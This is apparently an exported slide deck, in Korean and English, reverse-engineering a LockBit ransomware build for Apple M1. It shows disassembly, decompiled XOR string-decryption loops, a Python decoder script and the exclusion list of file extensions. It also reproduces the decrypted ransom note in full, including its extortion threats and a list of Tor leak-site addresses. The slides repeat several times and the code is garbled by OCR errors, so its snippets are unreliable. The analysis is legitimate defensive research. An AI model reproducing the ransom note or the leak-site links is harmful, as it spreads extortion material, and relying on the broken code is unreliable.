                                       DCB 0x74 ; t
data:0000000100058012
                                       DCB 0x98
data:0000000100058013
                                       DCB 0xE9
data:0000000100058014
                                       DCB 0xFF
_data:0000000100058015
                                      DCB 0x18
data:0000000100058016
                                       DCB 0xF1
_data:0000000100058017
                                       DCB 0xE1
 data:0000000100058018
                                      DCB 0x4A ; J
```

```
memcpy(&g_Config, &apple_config, 0x2468)

for ( i = 0LL; i != 9304; ++i )

*((_BYTE *)&g_Config + i + 16) ^= *((_BYTE *)&g_Config + (i & 0xF));
```



● locker\_Apple\_M1\_64 악성코드

```
J _B------
                                       EXPORT _g_Config
  data:000000010005908C
_data:000000010005908C _g Config
                                       DCB 0xC8
                                                              : DATA XREF: main+54to
_data:000000010005908D
                                       DCB 0x28 ; (
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```
memcpy(&g_Config, &apple_config, 0x2468)

for ( i = 0LL; i != 9304; ++i )

*((_BYTE *)&g_Config + i + 16) ^= *((_BYTE *)&g_Config + (i & 0xF));
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                                       DCB 0x23 ; #
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```

```
memcpy(&g_Config, &apple_config, 0x2468)

for ( i = 0LL; i != 9304; ++i )

*((_BYTE *)&g_Config + i + 16) ^= *((_BYTE *)&g_Config + (i & 0xF));
```



● locker\_Apple\_M1\_64 악성코드

```
v9 = xor val;
                                             // 0x39
v10 = &locker pid;
                                             // v11 = /tmp/locker.pid
 v11 = *v10 ^ v9;
  *v10++ = v11;
while ( v11 );
v12 = &lockex;
 v13 = *v12 ^ v9;
                                             // v13 = Same process runn. Exit.
 *v12++ = v13;
while ( v13 );
                                             // xor itertal
de_xor_all();
except_foler1 = (__int64)strdup(&sudoers_d); // except 폴더 1
except_foler2 = (__int64)strdup(&usr_share); // except 폴더2
```

 Contains a list of 65 file extensions and file names to be excluded from encryption, all Windows file extensions and folders.

```
.exe
.bat
.dll
msstyles
gadget
winmd
ntldr
ntuser.dat.log
bootsect.bak
autorun.inf
thumbs.db
iconcache.db
```



● locker\_Apple\_M1\_64 악성코드

```
v9 = xor val;
                                             // 0x39
v10 = &locker pid;
do
                                             // v11 = /tmp/locker.pid
 v11 = *v10 ^ v9;
 *v10++ = v11;
while ( v11 );
v12 = &lockex;
 v13 = *v12 ^ v9;
                                             // v13 = Same process runn. Exit.
 *v12++ = v13;
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de_xor_all();
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ntuser.dat.log
bootsect.bak
autorun.inf
thumbs.db
iconcache.db
```



● locker\_Apple\_M1\_64 악성코드

```
locker_pid = [0x16,0x4D,0x54,0x49,0x16,0x55,0x56,0x5a,0x52,0x5c,0x4b,0x17,0x49,0x50,0x5d,0x39]
xor = 0x39

res = []
for i in range(len(locker_pid)):
    res.append(locker_pid[i] ^ xor)

print("[+] Round 1 ")
print("".join([chr(x) for x in res]))
```

```
[+] Round 12
 ~~ LockBit . the world's fastest and most stable ransomware from ~~~
Your data is stolen and encrypted.
If you don't pay the ransom, the data will be published on our TOR darknet sites. Keep in mind that once your data appe
rs on our leak site, it could be bought by your competitors at any second, so don't hesitate for a long time. The soone
you pay the ransom, the sooner your company will be safe.
Tor Browser Links
http//lockbitaptdkrlbewgvtquljgxrxbwwsprkyietouncead.onion
http//lockbitaptyfbtlchxejugkmgvggxvvjpgkmevvlazlgypyd.onion
http//lockbitaptkvripxojylohhxrwsvpzdffgszpbbsywnzsbdgugd.onion
http//lockbitaptxzkjbcqmzfrdhecqqgadevyiwqxukksspnlidyvdqd.onion
http//lockbitaptvxteeqjofwgcglmutranygvokjauuccipykyd.onion
http//lockbitaptiwnjgnqpymggskgypryrirtdgmiartsbqd.onion
http//lockbitaptawjludhpduehekiyatjftcxmkwesezsfqgpjpid.onion
http//lockbitaptbdiajqtplcrigzgdjprwugkkutnbvydrwagyekqd.onion
http//lockbitaptcigatewzisegwfktyrlgtwukgaxkgtzjgd.onion
Links for normal browser
http//lockbitaptdkrlbewgvtquljgxrxbwwsprkyietouncead.onion.ly
http//lockbitaptyfbtlchxejugkmqvqqxvvjpqkmevvlazlgypyd.onion.ly
http//lockbitaptkvripxojylohhxrwsvpzdffgszpbbsywnzsbdguqd.onion.ly
http//lockbitaptxzkjbcgmzfrdhecgggadevyjwgxukksspnlidyvdgd.onion.ly
http//lockbitaptvxteeqjofwgcglmutranygvokjauuccipykyd.onion.ly
http//lockbitaptiwnjgnqpymggskgypryrirtdgmiartsbqd.onion.ly
http//lockbitaptawjludhpduehekiyatjftcxmkwesezsfqgpjpid.onion.ly
http//lockbitaptbdiajgtplcrigzgdjprwugkkutnbvydrwagyekgd.onion.ly
```

It is decrypted by performing xor 0x39 on each byte of the data value.

```
v19 = &Restore My Files name;
 v20 = *v19 ^ v0;
                                             // v20 = !!!-Restore-My-Files-!!!
 *v19++ = v20:
while ( v20 );
v21 = &Restore_My_Files_body;
 v22 = *v21 ^ v8;
                                             // v22 = Ransom Note
 *v21++ = v22;
while ( v22 );
v23 = &Restore_My_Files_body_1;
                                             // v24 = ransom Note + 以音
 v24 = "v23 " v8;
 *v23++ = v24;
while ( v24 );
v25 = &Restore_My_Files_body_2;
 v26 = "v25 ^ v0;
                                             // v26 = Ransomnote + UES
 *v25++ = v26;
```



● locker\_Apple\_M1\_64 악성코드

```
locker_pid = [0x16,0x4D,0x54,0x49,0x16,0x55,0x56,0x5a,0x52,0x5c,0x4b,0x17,0x49,0x50,0x5d,0x39]
xor = 0x39

res = []
for i in range(len(locker_pid)):
    res.append(locker_pid[i] ^ xor)

print("[+] Round 1 ")
print("".join([chr(x) for x in res]))
```

```
[+] Round 12
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you pay the ransom, the sooner your company will be safe.
Tor Browser Links
http//lockbitaptdkrlbewgvtquljgxrxbwwsprkyietouncead.onion
http//lockbitaptyfbtlchxejugkmgvggxvvjpgkmevvlazlgypyd.onion
http//lockbitaptkvripxojylohhxrwsvpzdffgszpbbsywnzsbdgugd.onion
http//lockbitaptxzkjbcqmzfrdhecqqgadevyiwqxukksspnlidyvdqd.onion
http//lockbitaptvxteeqjofwgcglmutranygvokjauuccipykyd.onion
http//lockbitaptiwnjgnqpymggskgypryrirtdgmiartsbqd.onion
http//lockbitaptawjludhpduehekiyatjftcxmkwesezsfqgpjpid.onion
http//lockbitaptbdiajqtplcrigzgdjprwugkkutnbvydrwagyekqd.onion
http//lockbitaptcigatewzisegwfktyrlgtwukgaxkgtzjgd.onion
Links for normal browser
http//lockbitaptdkrlbewgvtquljgxrxbwwsprkyietouncead.onion.ly
http//lockbitaptyfbtlchxejugkmqvqqxvvjpqkmevvlazlgypyd.onion.ly
http//lockbitaptkvripxojylohhxrwsvpzdffgszpbbsywnzsbdguqd.onion.ly
http//lockbitaptxzkjbcqmzfrdhecqqgadevyiwqxukksspnlidyvdqd.onion.ly
http//lockbitaptvxteeqjofwgcglmutranygvokjauuccipykyd.onion.ly
http//lockbitaptiwnjgnqpymggskgypryrirtdgmiartsbqd.onion.ly
http://lockbitaptawjludhpduehekiyatjftcxmkwesezsfqgpjpid.onion.ly
http//lockbitaptbdiajgtplcrigzgdjprwugkkutnbvydrwagyekqd.onion.ly
```

It is decrypted by performing xor 0x39 on each byte of the data value.

```
v19 = &Restore My Files name;
 v20 = "v19 " v0;
                                             // v20 = !!!-Restore-My-Files-!!!
 *v19++ = v20:
while ( v20 );
v21 = &Restore_My_Files_body;
 v22 = *v21 ^ v8;
                                             // v22 = Ransom Note
 *v21++ = v22;
while ( v22 );
v23 = &Restore_My_Files_body_1;
                                             // v24 = ransom Note + 以音
 v24 = "v23 " v8;
 *v23++ = v24;
while ( v24 );
v25 = &Restore_My_Files_body_2;
 v26 = "v25 ^ v8;
                                             // v26 = Ransomnote + UES
 *v25++ = v26;
```



● locker\_Apple\_M1\_64 악성코드

```
locker_pid = [0x16,0x4D,0x54,0x49,0x16,0x55,0x56,0x5a,0x52,0x5c,0x4b,0x17,0x49,0x50,0x5d,0x39]
xor = 0x39

res = []
for i in range(len(locker_pid)):
    res.append(locker_pid[i] ^ xor)

print("[+] Round 1 ")
print("".join([chr(x) for x in res]))
```

```
[+] Round 12
 ~~ LockBit . the world's fastest and most stable ransomware from ~~~
Your data is stolen and encrypted.
If you don't pay the ransom, the data will be published on our TOR darknet sites. Keep in mind that once your data appe
rs on our leak site, it could be bought by your competitors at any second, so don't hesitate for a long time. The soone
you pay the ransom, the sooner your company will be safe.
Tor Browser Links
http//lockbitaptdkrlbewgvtquljgxrxbwwsprkyietouncead.onion
http//lockbitaptyfbtlchxejugkmgvggxvvjpgkmevvlazlgypyd.onion
http//lockbitaptkvripxojylohhxrwsvpzdffgszpbbsywnzsbdgugd.onion
http//lockbitaptxzkjbcqmzfrdhecqqgadevyiwqxukksspnlidyvdqd.onion
http//lockbitaptvxteeqjofwgcglmutranygvokjauuccipykyd.onion
http//lockbitaptiwnjgnqpymggskgypryrirtdgmiartsbqd.onion
http//lockbitaptawjludhpduehekiyatjftcxmkwesezsfqgpjpid.onion
http//lockbitaptbdiajqtplcrigzgdjprwugkkutnbvydrwagyekqd.onion
http//lockbitaptcigatewzisegwfktyrlgtwukgaxkgtzjgd.onion
Links for normal browser
http//lockbitaptdkrlbewgvtquljgxrxbwwsprkyietouncead.onion.ly
http//lockbitaptyfbtlchxejugkmqvqqxvvjpqkmevvlazlgypyd.onion.ly
http//lockbitaptkvripxojylohhxrwsvpzdffgszpbbsywnzsbdguqd.onion.ly
http//lockbitaptxzkjbcqmzfrdhecqqgadevyiwqxukksspnlidyvdqd.onion.ly
http//lockbitaptvxteeqjofwgcglmutranygvokjauuccipykyd.onion.ly
http//lockbitaptiwnjgnqpymggskgypryrirtdgmiartsbqd.onion.ly
http//lockbitaptawjludhpduehekiyatjftcxmkwesezsfqgpjpid.onion.ly
http//lockbitaptbdiajgtplcrigzgdjprwugkkutnbvydrwagyekgd.onion.ly
```

It is decrypted by performing xor 0x39 on each byte of the data value.

```
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while ( v20 );
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 v22 = *v21 ^ v8;
                                             // v22 = Ransom Note
 *v21++ = v22;
while ( v22 ):
v23 = &Restore_My_Files_body_1;
 v24 = "v23 " v8;
                                             // v24 = ransom Note + 以会
 *v23++ = v24;
while ( v24 );
v25 = &Restore_My_Files_body_2;
 v26 = "v25 ^ v8;
                                             // v26 = Ransomnote + UES
 *v25++ = v26;
```




## **Malware Evolution**


Malware Evolution



#### End

## Thanks you





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